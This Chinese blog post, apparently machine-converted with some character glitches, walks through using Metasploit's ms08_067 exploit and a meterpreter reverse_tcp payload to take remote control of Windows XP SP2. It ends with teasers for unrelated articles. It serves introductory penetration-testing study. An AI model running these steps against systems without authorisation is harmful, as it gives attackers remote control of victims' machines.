metasploit用法案例

2021-07-13 15:28:01 字數 650 閱讀 7430

metasploit是一款非常好用的滲透測試工具。其中包含了九百多個exploit(攻擊模組),兩百多個payload(攻擊成功之後要執行的一串**,通常用來做遠端控制),是做安全工作必不可少的一款軟體。下面展示乙個利用該工具滲透microsoft xp sp2的乙個過程。

1.進入介面:msfconsole

2.show +兩個tab鍵可以開始檢視它自帶的攻擊模組,show exploits,可以看到九百多個結果。通過search 查詢自己需要的。eg:search ms08_067。查詢出來之後,用use name下面的內容使用這個模組。攻擊成功之後,set payload +payload名字(自己選擇合適的)。比如:windows/meterpreter/reverse_tcp是用來建立。設定之後要show options,這樣就可以設定一些引數:set rhost 192.168.1.1,如此類推。然後檢視被攻擊物件的作業系統:show target,然後set target+相應序號。

3.全部設定完成之後用命令:exploit開始攻擊。這樣就可以控制被攻擊者,可以用help檢視可以執行什麼命令,比如執行shell命令。

用background將任務放到後台。

ctrl+z回到msf

用sessions和channel命令回到shell

用exit退出msf

linux tcpdump 用法案例

下面的例子以抓取網口eth0為例 如果不加 i eth0 是表示抓取所有的介面包括lo 1 抓取包含10.10.10.122的資料報 tcpdump i eth0 vnn host 10.10.10.122 2 抓取包含10.10.10.0 24網段的資料報 tcpdump i eth0 vnn n...

C odr用法案例詳解

the main module.file odr test1.cpp include void module1 print declaration of an exeternal function inline int f1 class a const double c 4.2 constexpr ...

MFC LoadImage用法案例詳解

目錄 handle loadimage hinstance hinst,若引導程式外部資源傳null,否則一般傳afxgetinstancehandle lpctstr lpszname,名稱或全路徑 uint utype,型別 image bitmap或image icon或image curso...